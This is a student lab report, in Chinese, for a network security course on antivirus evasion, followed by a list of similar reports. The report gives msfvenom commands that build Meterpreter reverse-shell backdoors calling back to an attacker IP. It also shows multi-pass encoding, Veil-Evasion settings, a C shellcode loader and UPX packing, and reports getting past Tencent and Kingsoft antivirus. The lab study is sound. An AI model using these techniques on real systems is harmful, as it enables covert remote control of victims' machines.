2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践

免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

1、杀软是如何检测出恶意代码的?

  • 基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。
  • 基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。

    2、免杀是做什么?
  • 让后门程序不被杀软检测出来

    3、免杀的基本方法有哪些?
  • msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion

    4、离实战还缺些什么技术或步骤?
  • 缺少将后门植入的操作:比如把后门安插到正常的软件包中,或者利用目标机已有的软件漏洞实现后门植入。

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

1、使用msf编码器

  • 通过上个实验中学到的命令生成后门程序

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 43.171 LPORT=5228 -f exe > met.exe

  • 将生成的程序上传到virus total试试结果

  • 使用msf编码器对后门程序编码10次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.43.171 LPORT=5228 -f exe > met-encoded10.exe

  • 再上传到virus total试试免杀操作是否有效

2、使用msfvenom生成jar

  • 使用Java后门程序生成命令

    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.43.171 lport=5228 x> 20165228_backdoor_java.jar



    3、使用msfvenom生成php
  • 使用php后门程序生成命令

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20165228_backdoor.php

4、使用veil-evasion

我的kali版本比较新,好像说比较新的版本没有自带的veil....

于是,先>!%_&&%,再*&(%%+##,最后@$#%%&&&&,我的veil终于能用了。

。 。 。 。 。此处省略一天一夜

  • 设置veil
use evasion
use 7
set LHOST 192.168.43.171
set LPORT 5228

  • 然后输入后门程序的文件名就可以啦

  • 于是把它挂上virus total看看表现如何

5、利用shellcode编程

  • 先执行shellcode生成命令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.171 LPORT=5228 -f c
  • 得到shellcode

任务二:Linux平台交叉编译Windows应用

1、使用交叉编译

  • 新建.c文件,将shellcode和c代码组合到一起
vim 5228met.c
unsigned char buf[] =
将shellcode替换到此处
int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 执行i686-w64-mingw32-g++ met.c -o met.exe生成可执行的后门程序

  • 然后把它挂上virus total测一下

2、使用````c+shellcode+加压缩壳```

实验环境:被控机是win10实体机,装有腾讯安全管家

原理:将shellcode替换到以上代码的数组后给编译生成的EXE文件加壳中达到免杀效果

  • 先生成shellcode
  • 制作用C调用shellcode的代码
#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h> //192.168.6.129 443 reverse_tcp
const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5"; int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met; __asm;
{
call addr;
}
return 0;
}
  • 使用VS编译成exe可执行文件

  • 加压缩壳

    upx cal.exe -o cal_upxed.exe

  • 使用杀软扫描,未报警,就这样骗过了杀软,达到免杀效果(其实不加壳我的杀软也不报警...)

  • 运行后门程序,反弹连接成功。



任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验环境:被控机是win7虚拟机,装有金山毒霸

(我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,结果两个加壳的都被金山杀了,只剩最初的未加壳版本)

  • 本机打开msf控制台,开始监听
  • 受控机运行后门程序





问题

  • 在安装veil时遇到了很多不明的问题... 执行veil-evasion安装veil时经常会卡进度TAT

    解决:参考相关博客,最后进入/opt/Veil-Evasion 运行,/Veil-Evasion.py就成功啦
  • 在交叉编译时出现以下错误:



    解决 :我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。
  • 为什么在某些情况下, 加壳的程序反而更容易被杀软报警?

    个人想法:杀软只是根据加壳这个特征判断程序可疑,而并不是因为具体的程序作用,我百度了一下... 正常的软件加壳后也很可能被误报。

实验感想

  • 此次实验让我对免杀技术有了新的认识,比如通过不同的编程语言重写、多次编码等,都是十分新鲜的东西。不过也让我认识到安装杀软有时候可能并没有什么用,它只能按照已有的特征码或者比较有效的启发式鉴别木马和后门程序,虽然病毒库随时都在更新,但像实验中刚做出来的后门程序肯定不在病毒库之列,于是它就可以为所欲为。所以,为了系统安全和信息不泄露,就要谨慎冲浪,即使是软件官网的安装包,也要验证md5值后再下载安装,从根源上避免问题。

2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. 搭建SDN网络——mininet

    好久没来写不博客,感觉自己不写写博客,就完全想不起当天干了什么.前几天参加了小米的面试,整个人被打击的不行,还是要好好学习,不然工作都找不到. 这学期选了SDN的课,只有六周,学完有点懵,这这这等于什 ...

  2. 浅谈C++的智能指针

    我们使用智能指针来自动运行管理内存,避免对原始指针的使用不当而造成内存泄漏. ------------------------------------------------------------- ...

  3. PPT母版制作

    选择母版 首先,去iSlide官网下载iSlide,下载iSlide后,power point的菜单栏会自动出现iSilde图标(如下图). 打开iSlide这一栏,点击“图示库”,会弹出一个窗口,就 ...

  4. 1.2 JAVA多线程实现

    线程和进程 进程:是执行中一段程序, 进程是系统进行资源分配和调度的一个独立单位. 线程:比进程更小的能独立运行的基本单位,单个进程中执行中每个任务就是一个线程.线程是进程中执行运算的最小单位. Th ...

  5. 【转】 android5.1里面的user-app的默认权限设置!

    在 frameworks/base/services/core/java/com/android/server/AppOpsPolicy.java中:public boolean isControlA ...

  6. 搭建本地yum源

    本地yum源其实非常容易搭建 首先进入/etc/yum.repos.d/ 将原来的yum源备份后移除,然后新建dvd.repo: 内容如下: [base] name=base baseurl=file ...

  7. EFCore Lazy Loading + Inheritance = 干净的数据表 (二) 【献给处女座的DB First程序猿】

    前言 本篇是上一篇EFCore Lazy Loading + Inheritance = 干净的数据表 (一) [献给处女座的DB First程序猿] 前菜 的续篇.这一篇才是真的为处女座的DB Fi ...

  8. pandas 常用技巧总结

    切片: loc:df.loc[num]:选择df 某一行 seriesdf.loc[[num1,num2]]: 选择df 某几行df.loc[[True,False,True,   ,True]]: ...

  9. iis设置http重置到https

    http://www.cnblogs.com/tangge/p/4259749.html 1.购买SSL证书,参考:http://www.cnblogs.com/yipu/p/3722135.html ...

  10. Mad libs

    Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 17:00:18) [MSC v.1900 64 bit (AMD64)] on win32 Type &q ...